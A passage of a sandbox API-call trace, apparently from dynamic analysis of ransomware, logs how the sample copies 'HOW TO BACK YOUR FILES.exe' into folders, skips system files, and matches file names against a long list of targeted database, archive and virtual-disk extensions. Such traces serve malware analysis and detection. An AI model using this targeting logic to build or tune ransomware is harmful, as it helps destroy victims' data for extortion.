	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.174] CloseHandle (hObject=0xd8) returned 1
	[0079.174] CloseHandle (hObject=0xc0) returned 1
	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.174] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0079.174] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0079.175] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b78b0
	[0079.175] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C"
	[0079.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0079.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78a8 | out: hHeap=0x580000) returned 1
	[0079.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 62
	[0079.175] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C"
	[0079.175] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.175] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.180] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.180] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47445610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47445610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0079.181] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.181] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.181] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.181] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47445610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47445610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.181] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.181] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.181] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.181] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.181] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47445610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47445610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.181] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.181] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="..") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="windows") returned -1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="bootmgr") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="temp") returned -1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="pagefile.sys") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="boot") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ids.txt") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ntuser.dat") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="perflogs") returned 1
	[0079.181] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="MSBuild") returned 1
	[0079.181] lstrlenW (lpString="PowerPointMUI.msi") returned 17
	[0079.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0079.181] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PowerPointMUI.msi" | out: lpString1="PowerPointMUI.msi") returned="PowerPointMUI.msi"
	[0079.181] lstrlenW (lpString="PowerPointMUI.msi") returned 17
	[0079.181] lstrlenW (lpString="Apollon865") returned 10
	[0079.182] lstrcmpiW (lpString1="intMUI.msi", lpString2="Apollon865") returned 1
	[0079.182] lstrlenW (lpString=".dll") returned 4
	[0079.182] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".dll") returned 1
	[0079.182] lstrlenW (lpString=".lnk") returned 4
	[0079.182] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".lnk") returned 1
	[0079.182] lstrlenW (lpString=".ini") returned 4
	[0079.182] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".ini") returned 1
	[0079.182] lstrlenW (lpString=".sys") returned 4
	[0079.182] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".sys") returned 1
	[0079.182] lstrlenW (lpString="PowerPointMUI.msi") returned 17
	[0079.182] lstrlenW (lpString="bak") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0079.182] lstrlenW (lpString="ba_") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0079.182] lstrlenW (lpString="dbb") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0079.182] lstrlenW (lpString="vmdk") returned 4
	[0079.182] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0079.182] lstrlenW (lpString="rar") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0079.182] lstrlenW (lpString="zip") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0079.182] lstrlenW (lpString="tgz") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0079.182] lstrlenW (lpString="vbox") returned 4
	[0079.182] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0079.182] lstrlenW (lpString="vdi") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0079.182] lstrlenW (lpString="vhd") returned 3
	[0079.182] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0079.182] lstrlenW (lpString="vhdx") returned 4
	[0079.182] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0079.182] lstrlenW (lpString="avhd") returned 4
	[0079.182] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0079.182] lstrlenW (lpString="db") returned 2
	[0079.182] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0079.183] lstrlenW (lpString="db2") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0079.183] lstrlenW (lpString="db3") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0079.183] lstrlenW (lpString="dbf") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0079.183] lstrlenW (lpString="mdf") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0079.183] lstrlenW (lpString="mdb") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0079.183] lstrlenW (lpString="sql") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0079.183] lstrlenW (lpString="sqlite") returned 6
	[0079.183] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0079.183] lstrlenW (lpString="sqlite3") returned 7
	[0079.183] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0079.183] lstrlenW (lpString="sqlitedb") returned 8
	[0079.183] lstrcmpiW (lpString1="tMUI.msi", lpString2="sqlitedb") returned 1
	[0079.183] lstrlenW (lpString="xml") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0079.183] lstrlenW (lpString="$er") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0079.183] lstrlenW (lpString="4dd") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0079.183] lstrlenW (lpString="4dl") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0079.183] lstrlenW (lpString="^^^") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0079.183] lstrlenW (lpString="abs") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0079.183] lstrlenW (lpString="abx") returned 3
	[0079.183] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0079.183] lstrlenW (lpString="accdb") returned 5
	[0079.183] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0079.183] lstrlenW (lpString="accdc") returned 5
	[0079.183] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0079.184] lstrlenW (lpString="accde") returned 5
	[0079.184] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0079.184] lstrlenW (lpString="accdr") returned 5
	[0079.184] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0079.184] lstrlenW (lpString="accdt") returned 5
	[0079.184] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0079.184] lstrlenW (lpString="accdw") returned 5
	[0079.184] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0079.184] lstrlenW (lpString="accft") returned 5
	[0079.184] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0079.184] lstrlenW (lpString="adb") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.184] lstrlenW (lpString="adb") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.184] lstrlenW (lpString="ade") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0079.184] lstrlenW (lpString="adf") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0079.184] lstrlenW (lpString="adn") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0079.184] lstrlenW (lpString="adp") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0079.184] lstrlenW (lpString="alf") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0079.184] lstrlenW (lpString="ask") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0079.184] lstrlenW (lpString="btr") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0079.184] lstrlenW (lpString="cat") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0079.184] lstrlenW (lpString="cdb") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0079.184] lstrlenW (lpString="ckp") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0079.184] lstrlenW (lpString="cma") returned 3
	[0079.184] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0079.184] lstrlenW (lpString="cpd") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0079.185] lstrlenW (lpString="dacpac") returned 6
	[0079.185] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0079.185] lstrlenW (lpString="dad") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0079.185] lstrlenW (lpString="dadiagrams") returned 10
	[0079.185] lstrcmpiW (lpString1="intMUI.msi", lpString2="dadiagrams") returned 1
	[0079.185] lstrlenW (lpString="daschema") returned 8
	[0079.185] lstrcmpiW (lpString1="tMUI.msi", lpString2="daschema") returned 1
	[0079.185] lstrlenW (lpString="db-journal") returned 10
	[0079.185] lstrcmpiW (lpString1="intMUI.msi", lpString2="db-journal") returned 1
	[0079.185] lstrlenW (lpString="db-shm") returned 6
	[0079.185] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0079.185] lstrlenW (lpString="db-wal") returned 6
	[0079.185] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0079.185] lstrlenW (lpString="dbc") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0079.185] lstrlenW (lpString="dbs") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0079.185] lstrlenW (lpString="dbt") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0079.185] lstrlenW (lpString="dbv") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0079.185] lstrlenW (lpString="dbx") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0079.185] lstrlenW (lpString="dcb") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0079.185] lstrlenW (lpString="dct") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0079.185] lstrlenW (lpString="dcx") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0079.185] lstrlenW (lpString="ddl") returned 3
	[0079.185] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0079.185] lstrlenW (lpString="dlis") returned 4
	[0079.185] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0079.185] lstrlenW (lpString="dp1") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0079.186] lstrlenW (lpString="dqy") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0079.186] lstrlenW (lpString="dsk") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0079.186] lstrlenW (lpString="dsn") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0079.186] lstrlenW (lpString="dtsx") returned 4
	[0079.186] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0079.186] lstrlenW (lpString="dxl") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0079.186] lstrlenW (lpString="eco") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0079.186] lstrlenW (lpString="ecx") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0079.186] lstrlenW (lpString="edb") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0079.186] lstrlenW (lpString="epim") returned 4
	[0079.186] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0079.186] lstrlenW (lpString="fcd") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0079.186] lstrlenW (lpString="fdb") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0079.186] lstrlenW (lpString="fic") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0079.186] lstrlenW (lpString="flexolibrary") returned 12
	[0079.186] lstrcmpiW (lpString1="PointMUI.msi", lpString2="flexolibrary") returned 1
	[0079.186] lstrlenW (lpString="fm5") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0079.186] lstrlenW (lpString="fmp") returned 3
	[0079.186] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0079.186] lstrlenW (lpString="fmp12") returned 5
	[0079.186] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0079.186] lstrlenW (lpString="fmpsl") returned 5
	[0079.186] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0079.187] lstrlenW (lpString="fol") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0079.187] lstrlenW (lpString="fp3") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0079.187] lstrlenW (lpString="fp4") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0079.187] lstrlenW (lpString="fp5") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0079.187] lstrlenW (lpString="fp7") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0079.187] lstrlenW (lpString="fpt") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0079.187] lstrlenW (lpString="frm") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0079.187] lstrlenW (lpString="gdb") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0079.187] lstrlenW (lpString="gdb") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0079.187] lstrlenW (lpString="grdb") returned 4
	[0079.187] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0079.187] lstrlenW (lpString="gwi") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0079.187] lstrlenW (lpString="hdb") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0079.187] lstrlenW (lpString="his") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0079.187] lstrlenW (lpString="ib") returned 2
	[0079.187] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0079.187] lstrlenW (lpString="idb") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0079.187] lstrlenW (lpString="ihx") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0079.187] lstrlenW (lpString="itdb") returned 4
	[0079.187] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0079.187] lstrlenW (lpString="itw") returned 3
	[0079.187] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0079.188] lstrlenW (lpString="jet") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0079.188] lstrlenW (lpString="jtx") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0079.188] lstrlenW (lpString="kdb") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0079.188] lstrlenW (lpString="kexi") returned 4
	[0079.188] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0079.188] lstrlenW (lpString="kexic") returned 5
	[0079.188] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0079.188] lstrlenW (lpString="kexis") returned 5
	[0079.188] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0079.188] lstrlenW (lpString="lgc") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0079.188] lstrlenW (lpString="lwx") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0079.188] lstrlenW (lpString="maf") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0079.188] lstrlenW (lpString="maq") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0079.188] lstrlenW (lpString="mar") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0079.188] lstrlenW (lpString="marshal") returned 7
	[0079.188] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0079.188] lstrlenW (lpString="mas") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0079.188] lstrlenW (lpString="mav") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0079.188] lstrlenW (lpString="maw") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0079.188] lstrlenW (lpString="mdbhtml") returned 7
	[0079.188] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0079.188] lstrlenW (lpString="mdn") returned 3
	[0079.188] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0079.188] lstrlenW (lpString="mdt") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0079.189] lstrlenW (lpString="mfd") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0079.189] lstrlenW (lpString="mpd") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0079.189] lstrlenW (lpString="mrg") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0079.189] lstrlenW (lpString="mud") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0079.189] lstrlenW (lpString="mwb") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0079.189] lstrlenW (lpString="myd") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0079.189] lstrlenW (lpString="ndf") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0079.189] lstrlenW (lpString="nnt") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0079.189] lstrlenW (lpString="nrmlib") returned 6
	[0079.189] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0079.189] lstrlenW (lpString="ns2") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0079.189] lstrlenW (lpString="ns3") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0079.189] lstrlenW (lpString="ns4") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0079.189] lstrlenW (lpString="nsf") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0079.189] lstrlenW (lpString="nv") returned 2
	[0079.189] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0079.189] lstrlenW (lpString="nv2") returned 3
	[0079.189] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0079.189] lstrlenW (lpString="nwdb") returned 4
	[0079.189] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0079.189] lstrlenW (lpString="nyf") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0079.190] lstrlenW (lpString="odb") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0079.190] lstrlenW (lpString="odb") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0079.190] lstrlenW (lpString="oqy") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0079.190] lstrlenW (lpString="ora") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0079.190] lstrlenW (lpString="orx") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0079.190] lstrlenW (lpString="owc") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0079.190] lstrlenW (lpString="p96") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0079.190] lstrlenW (lpString="p97") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0079.190] lstrlenW (lpString="pan") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0079.190] lstrlenW (lpString="pdb") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0079.190] lstrlenW (lpString="pdm") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0079.190] lstrlenW (lpString="pnz") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0079.190] lstrlenW (lpString="qry") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0079.190] lstrlenW (lpString="qvd") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0079.190] lstrlenW (lpString="rbf") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0079.190] lstrlenW (lpString="rctd") returned 4
	[0079.190] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0079.190] lstrlenW (lpString="rod") returned 3
	[0079.190] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0079.190] lstrlenW (lpString="rodx") returned 4
	[0079.191] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0079.191] lstrlenW (lpString="rpd") returned 3
